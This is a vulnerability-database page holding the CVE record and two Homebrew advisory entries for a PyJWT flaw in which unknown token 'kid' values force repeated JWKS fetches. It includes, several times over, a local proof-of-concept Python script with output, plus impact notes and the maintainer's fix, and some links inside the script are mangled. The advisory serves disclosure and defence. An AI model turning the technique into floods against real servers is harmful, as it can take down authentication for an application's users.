Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-101917 (GCVE-0-2026-101917)
Vulnerability from cvelistv5 – Published: 2026-09-28 20:07 – Updated: 2026-09-28 20:35- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags |
|---|---|
| https://github.com/jpadilla/pyjwt/security/adviso… | x_refsource_CONFIRM |
| https://github.com/jpadilla/pyjwt/commit/ba4853a7… | x_refsource_MISC |
| https://github.com/jpadilla/pyjwt/releases/tag/2.14.0 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-101917",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-28T20:35:19.525335Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-28T20:35:25.908Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "pyjwt",
"vendor": "jpadilla",
"versions": [
{
"status": "affected",
"version": "\u003c 2.14.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-28T20:07:44.237Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"name": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"name": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"source": {
"advisory": "GHSA-2gx3-rcp4-g85q",
"discovery": "UNKNOWN"
},
"title": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-101917",
"datePublished": "2026-09-28T20:07:44.237Z",
"dateReserved": "2026-09-28T15:55:37.908Z",
"dateUpdated": "2026-09-28T20:35:25.908Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-101917",
"date": "2026-10-05",
"epss": "0.00354",
"percentile": "0.26812"
},
"microsoft_vex": {
"current_release_date": "2026-09-30T01:03:14.000Z",
"cve": "CVE-2026-101917",
"id": "msrc_CVE-2026-101917",
"initial_release_date": "2026-09-30T01:03:14.000Z",
"product_status:known_affected": "1",
"source": "Microsoft CSAF VEX",
"status": "final",
"title": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-101917.json",
"version": "1"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "pyjwt",
"vendor": "jpadilla",
"versions": [
{
"status": "affected",
"version": "\u003c 2.14.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0."
}
],
"id": "CVE-2026-101917",
"lastModified": "2026-09-30T19:38:27.293",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-101917",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-28T20:35:19.525335Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-09-28T21:17:13.210",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-770"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-09-28T22:00:00+00:00",
"cve": "CVE-2026-101917",
"id": "CVE-2026-101917",
"initial_release_date": "2026-09-28T20:07:44.237000+00:00",
"product_status:known_not_affected": "4",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "pyjwt: PyJWT: Denial of Service via outbound request amplification on unknown key identifiers",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-101917.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "moderate",
"current_release_date": "2026-09-29T23:39:38Z",
"cve": "CVE-2026-101917",
"id": "CVE-2026-101917",
"initial_release_date": "2026-09-29T23:39:38Z",
"product_status:known_affected": "126",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-101917",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-101917.json",
"version": "2"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-101917",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-28T20:35:19.525335Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-28T20:35:05.376Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "pyjwt",
"vendor": "jpadilla",
"versions": [
{
"status": "affected",
"version": "\u003c 2.14.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-28T20:07:44.237Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"name": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"name": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"source": {
"advisory": "GHSA-2gx3-rcp4-g85q",
"discovery": "UNKNOWN"
},
"title": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-101917",
"datePublished": "2026-09-28T20:07:44.237Z",
"dateReserved": "2026-09-28T15:55:37.908Z",
"dateUpdated": "2026-09-28T20:35:25.908Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-SCOUTSUITE-CVE-2026… (GHSA-2GX3-RCP4-G85Q)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:42 – Updated: 2026-10-02 10:44 – Source websiteSummary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "scoutsuite",
"purl": "pkg:brew/scoutsuite"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.14.0_17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-scoutsuite-CVE-2026-101917",
"modified": "2026-10-02T10:44:03Z",
"published": "2026-09-30T20:42:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101917"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)",
"upstream": [
"GHSA-2gx3-rcp4-g85q",
"CVE-2026-101917",
"PYSEC-2026-4140"
]
}
BREW-SEMGREP-CVE-2026-101917 (GHSA-2GX3-RCP4-G85Q)
Vulnerability from osv_homebrew – Published: 2026-09-30 19:45 – Updated: 2026-10-04 11:26 – Source websiteSummary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.
At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.
Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.
Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.
Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.
Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.
Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.
Reported by Babakizo (Securva).
Maintainer update — 2026-09-10
The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.
The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.
Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "semgrep",
"purl": "pkg:brew/semgrep"
},
"ranges": [
{
"events": [
{
"introduced": "1.146.0"
},
{
"fixed": "1.179.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory\u0027s title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {\u0027n\u0027: 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n hits[\u0027n\u0027] += 1\n self.send_response(200); self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027); self.end_headers()\n self.wfile.write(JWKS)\n def log_message(self,*a): pass\nsrv = socketserver.TCPServer((\u0027[127.0.0.1](https://127.0.0.1/)\u0027,0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f\u0027http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json\u0027, cache_keys=True, lifespan=3600)\nfor i in range(8):\n try: c.get_signing_key(f\u0027attacker-unknown-kid-{i}\u0027)\n except Exception: pass\nbefore = hits[\u0027n\u0027]\nfor _ in range(5):\n try: c.get_signing_key(\u0027same-unknown\u0027)\n except Exception: pass\nprint(\u0027distinct unknown kids: 8 -\u003e fetches:\u0027, hits[\u0027n\u0027])\nprint(\u0027same unknown kid x5 -\u003e extra fetches:\u0027, hits[\u0027n\u0027] - before)\n\nOutput:\n distinct unknown kids: 8 -\u003e fetches: 9\n same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider\u0027s rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update \u2014 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 